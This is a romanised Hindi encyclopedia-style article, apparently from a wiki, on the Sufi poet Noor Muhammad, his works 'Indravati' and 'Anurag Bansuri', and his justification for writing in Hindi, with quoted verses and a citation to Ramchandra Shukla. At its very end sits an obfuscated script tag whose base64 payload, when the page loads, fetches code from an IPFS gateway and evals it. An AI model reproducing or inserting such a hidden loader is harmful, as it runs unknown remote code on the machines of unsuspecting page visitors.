नूर मुहम्मद

noor muhammad dilli ke badashah muhammad shah ke samay mean the aur 'sabarahad' namak sthan ke rahane vale the jo jaunapur, ajamagadh ki sarahad par hai. pichhe sabarahad se ye apani sasural bhadoan chale ge. inake shvasur 'shamasuddin' ka aur koee varis n tha, isase ve sasural hi mean rahane lage. noor muhammad ke bhaee muhammad shah sabarahad hi mean rahe. noor muhammad ke do putr hue gulam husain aur nasiruddin. nasiruddin ki vansh paranpara mean shekh phidahusain abhi vartaman haian jo sabarahad aur kabhi kabhi bhadoan mean bhi raha karate haian. avastha inaki 80 varsh ki hai.

hindi kavyabhasha

noor muhammad pharasi ke achchhe alim the aur inaka hindi kavyabhasha ka bhi jnan aur sab soophi kaviyoan se adhik tha. pharasi mean inhoanne ek divan ke atirikt 'raujatul hakayak' ityadi bahut si kitabean likhi thian jo asavadhani ke karan nasht ho geean.

• inhoanne 1157 hijari (sanvath 1801) mean 'iandravati' namak ek suandar akhyan kavy likha jisamean 'kalianjar' ke rajakumar rajakuanvar aur agamapur ki rajakumari iandravati ki premakahani hai. kavi ne prathanusar us samay ke shasak muhammadashah ki prashansa is prakar ki hai -

karauan muhammadashah bakhanoo . hai sooraj dehali sulatanoo॥
dharamapanth jag bich chalava . nibar n sabare soan du:kh pava॥
bahutai salatin jag kere. ai sahas bane haian chere॥
sab kahoo paradaya dharee . dharam sahit sulatani karee॥
kavi ne apani kahani ki bhoomika is prakar baandhi hai॥
man drig soan ik rati majhara . soojhi para mohian sab sansara॥
dekheuan ek nik phulavari . dekheuan tahaan purush au nari॥
dou mukh sobha barani n jaee . chand suruj utare bhuian aee॥
tapi ek dekheutehi thaooan . poochheuan tasauan tinhakar naooan॥
kaha ahai raja au rani . iandravati au kuanvar giyani॥
agamapur iandravati, kuanvar kalianjar ras॥
prem huante dounh kahan, dinha alakh milay॥

• kavi ne jayasi ke pahale ke kaviyoan ke anusar paanch paanch chaupaiyoan ke uparaant dohe ka kram rakha hai. isi granth ko soophi paddhati ka aantim granth manana chahie.
• noor muhammad ka ek aur granth pharasi aksharoan mean likha mila hai, jisaka nam hai 'anurag baansuri'. yah pustak kee drishtiyoan se vilakshan hai. pahali bat to isaki bhasha hai jo soophi rachanaoan se bahut adhik sanskrit garbhit hai. doosari bat hai hindi bhasha ke prati musalamanoan ka bhav.
• 'iandravati' ki rachana karane par shayad noor muhammad ko samay samay par yah upalanbh sunane ko milata tha ki tum musalaman hokar hindi bhasha mean rachana karane kyoan ge. isi se 'anurag baansuri' ke aranbh mean unhean yah saphaee dene ki zaroorat p di

janat hai vah sirajanahara . jo kichhu hai man maram hamara॥
hiandoo mag par paanv n rakheuan . ka jau bahutai hindi bhakheu॥
man islam mirikalaian maanjeuan . din jeanvari karakas bhaanjeuan॥
jahan rasool allah piyara . ummat ko muktavanahara॥
tahaan doosaro kaise bhavai . jachchh asur sur kaj n avai॥

• sanvath 1800 tak ate ate musalaman hindi se kinara khianchane lage the. hindi hianduoan ke lie chho dakar apane likhane padhane ki bhasha ve videshi arthath pharasi hi rakhana chahate the. jise 'urdoo' kahate haian, usaka us samay tak sahity] mean koee sthan n tha, isaka spasht abhas noor muhammad ke is kathan se milata hai

kamayab kah kaun jagava . phir hindi bhakhai par ava||
chhaan di parasi kand navataian . arujhana hindi ras bataian||

• 'anurag baansuri' ka rachanakal 1178 hijari arthath 1821 hai. kavi ne isaki rachana adhik paandityapoorn rakhane ka prayatn kiya hai aur vishay bhi isaka tatvajnan sanbandhi hai.
• noor muhammad ko hindi bhasha mean kavita karane ke karan jagah jagah isaka saboot dena p da hai ki ve islam ke pakke anuyayi the.
• soophi akhyan kavyoan ki akhandit paranpara ki yahian samapti mani ja sakati hai. is paranpara mean musalaman kavi hi hue haian. keval ek hiandoo mila hai. soophi mat ke anuyayi sooradas namak ek panjabi hiandoo ne shahajahaan ke samay mean 'nal damayanti katha' nam ki ek kahani likhi thi, par isaki rachana atyant nikrisht hai.
• sahity ki koee akhand paranpara samapt hone par bhi kuchh din tak us paranpara ki kuchh rachanaean idhar udhar hoti rahati haian. is dhang ki pichhali rachanaoan mean 'chaturmukut ki katha' aur 'yoosuph julekha' ullekh yogy haian.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

achary, ramachandr shukl “prakaran 3”, hindi sahity ka itihas (hindi). bharatadiskavari pustakalay: kamal prakashan, nee dilli, prishth san. 86-88.

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>